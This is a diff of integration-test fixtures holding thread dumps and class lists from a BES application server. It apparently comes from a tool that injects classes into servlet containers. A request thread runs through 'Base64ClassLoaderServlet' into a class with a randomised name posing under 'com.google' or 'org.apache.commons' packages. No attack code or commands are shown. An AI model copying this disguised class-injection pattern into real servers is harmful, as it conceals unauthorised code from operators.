sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801) + at java.lang.Thread.run(Thread.java:750) -"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389e1a89 +"admin-thread-pool-4" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"com.bes.appserv-startStop-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@55ef9d0b java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@44b609d - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.util.TimerThread.mainLoop(Timer.java:552) - at java.util.TimerThread.run(Timer.java:505) +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE -"RMI TCP Connection(2)-192.168.215.4" #85 daemon [RUNNABLE] +"RMI TCP Connection(1)-172.17.0.3" #76 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.net.SocketInputStream.socketRead0(Native Method) at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) @@ -203,14 +293,26 @@ ThreadStacks: at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"admin-thread-pool-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 +"http-nio-0.0.0.0-6900-AsyncTimeout" #63 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@69b469f9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-thread-pool-5" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -224,13 +326,18 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #77 daemon [TIMED_WAITING] +"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@4e406718 java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:460) + at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) + at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) + at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) + at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) at java.lang.Thread.run(Thread.java:750) -"http-thread-pool-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 +"http-thread-pool-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -244,16 +351,26 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"NioBlockingSelector.BlockPoller-1" #15 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #48 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) -"http-thread-pool-5" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #81 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@75cd8a86 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"admin-thread-pool-3" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -267,7 +384,28 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"admin-thread-pool-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5c6356f1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540) + at com.bes.enterprise.startup.ASMain.main(ASMain.java:27) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #71 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) + +"admin-thread-pool-2" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -281,7 +419,7 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-thread-pool-2" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 +"admin-thread-pool-1" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -295,7 +433,20 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d99fb1f +"RetryTimer" #45 daemon [WAITING] on java.util.TaskQueue@16520725 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #69 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) + at java.lang.Thread.run(Thread.java:750) + +"bes-deployment-scheduled-executor-thread." #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b67ca50 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -307,21 +458,15 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@42893fb9 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:460) - at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150) - at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43) - at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56) - at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159) - at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125) - at java.lang.Thread.run(Thread.java:750) - -"Signal Dispatcher" #4 daemon [RUNNABLE] +"http-nio-0.0.0.0-8080-Acceptor-0" #65 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469) + at java.lang.Thread.run(Thread.java:750) -"http-thread-pool-6" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 +"http-thread-pool-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -335,18 +480,7 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"com.bes.appserv-startStop-1" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b8f5a12 - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"RMI Scheduler(0)" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51d5d045 +"Stateful cache" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4267f200 java.lang.Thread.State: TIMED_WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) @@ -358,26 +492,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"RMI TCP Connection(1)-192.168.215.4" #82 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at java.net.SocketInputStream.socketRead0(Native Method) - at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) - at java.net.SocketInputStream.read(SocketInputStream.java:171) - at java.net.SocketInputStream.read(SocketInputStream.java:141) - at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) - at java.io.BufferedInputStream.read(BufferedInputStream.java:265) - at java.io.FilterInputStream.read(FilterInputStream.java:83) - at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source) - at java.security.AccessController.doPrivileged(Native Method) - at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-0.0.0.0-8080-Acceptor-0" #71 daemon [RUNNABLE] +"http-nio-0.0.0.0-6900-Acceptor-0" #62 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) @@ -385,21 +500,13 @@ ThreadStacks: at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469) at java.lang.Thread.run(Thread.java:750) -"http-thread-pool-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) +"http-nio-0.0.0.0-8080-AsyncTimeout" #66 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229) at java.lang.Thread.run(Thread.java:750) -"admin-thread-pool-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 +"http-thread-pool-8" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -413,20 +520,26 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"http-thread-pool-8" #66 daemon [RUNNABLE] +"http-thread-pool-1" #53 daemon [RUNNABLE] java.lang.Thread.State: RUNNABLE at java.lang.Thread.dumpThreads(Native Method) at java.lang.Thread.getAllStackTraces(Thread.java:1615) - at org.apache.commons.lang.NFIaM.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.google.gso.JsjjN.ErrorWiwueHandler.toString(BasicInfoPrinter.java:26) at java.lang.String.valueOf(String.java:2994) at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) - at EmptyFilter.doFilter(EmptyFilter.java:21) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) @@ -448,119 +561,14 @@ ThreadStacks: at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:750) -"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3468863 - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235) - at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216) - at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400) - at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540) - at com.bes.enterprise.startup.ASMain.main(ASMain.java:27) - -"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #54 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354) - at java.lang.Thread.run(Thread.java:750) - -"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@8390b45 - java.lang.Thread.State: TIMED_WAITING - at java.lang.Object.wait(Native Method) - at sun.misc.GC$Daemon.run(GC.java:117) - -"http-nio-0.0.0.0-8080-ClientPoller-0" #70 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) - at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) - at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) - at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) - at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) - at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801) - at java.lang.Thread.run(Thread.java:750) - -"http-thread-pool-7" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-0.0.0.0-6900-Acceptor-0" #68 daemon [RUNNABLE] - java.lang.Thread.State: RUNNABLE - at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) - at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) - at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469) - at java.lang.Thread.run(Thread.java:750) - -"http-nio-0.0.0.0-8080-AsyncTimeout" #72 daemon [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229) - at java.lang.Thread.run(Thread.java:750) - -"http-thread-pool-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) - at java.lang.Thread.run(Thread.java:750) - -"admin-thread-pool-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) - at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) - at java.lang.Thread.run(Thread.java:750) - -"RMI Reaper" #81 [WAITING] on java.lang.ref.ReferenceQueue$Lock@29479f9a - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) - at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) - at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) - at java.lang.Thread.run(Thread.java:750) - -"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@566f350f - java.lang.Thread.State: WAITING - at java.lang.Object.wait(Native Method) - at java.lang.Object.wait(Object.java:502) - at java.lang.ref.Reference.tryHandlePending(Reference.java:191) - at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) - =========================================== StackClassNames: Base64ClassLoaderServlet EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter com.bes.enterprise.base.disruptor.BatchEventProcessor com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy @@ -569,6 +577,7 @@ com.bes.enterprise.catalina.BESAppservValve com.bes.enterprise.catalina.BesContextCleanupValve com.bes.enterprise.server.builder.BesWebModule com.bes.enterprise.startup.ASMain +com.google.gso.JsjjN.ErrorWiwueHandler org.apache.catalina.authenticator.AuthenticatorBase org.apache.catalina.connector.CoyoteAdapter org.apache.catalina.connector.CoyoteWriter @@ -580,7 +589,6 @@ org.apache.catalina.core.StandardHostValve org.apache.catalina.core.StandardWrapperValve org.apache.catalina.startup.Bootstrap org.apache.catalina.valves.ErrorReportValve -org.apache.commons.lang.NFIaM.ErrorHandler org.apache.coyote.AbstractProcessorLight org.apache.coyote.AbstractProtocol$AsyncTimeout org.apache.coyote.AbstractProtocol$ConnectionHandler diff --git a/integration-test/src/test/resources/infos/Bes952ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes952ContainerTestBasicInfo.txt new file mode 100644 index 00000000..a33b3f38 --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes952ContainerTestBasicInfo.txt @@ -0,0 +1,728 @@ +# Generated At 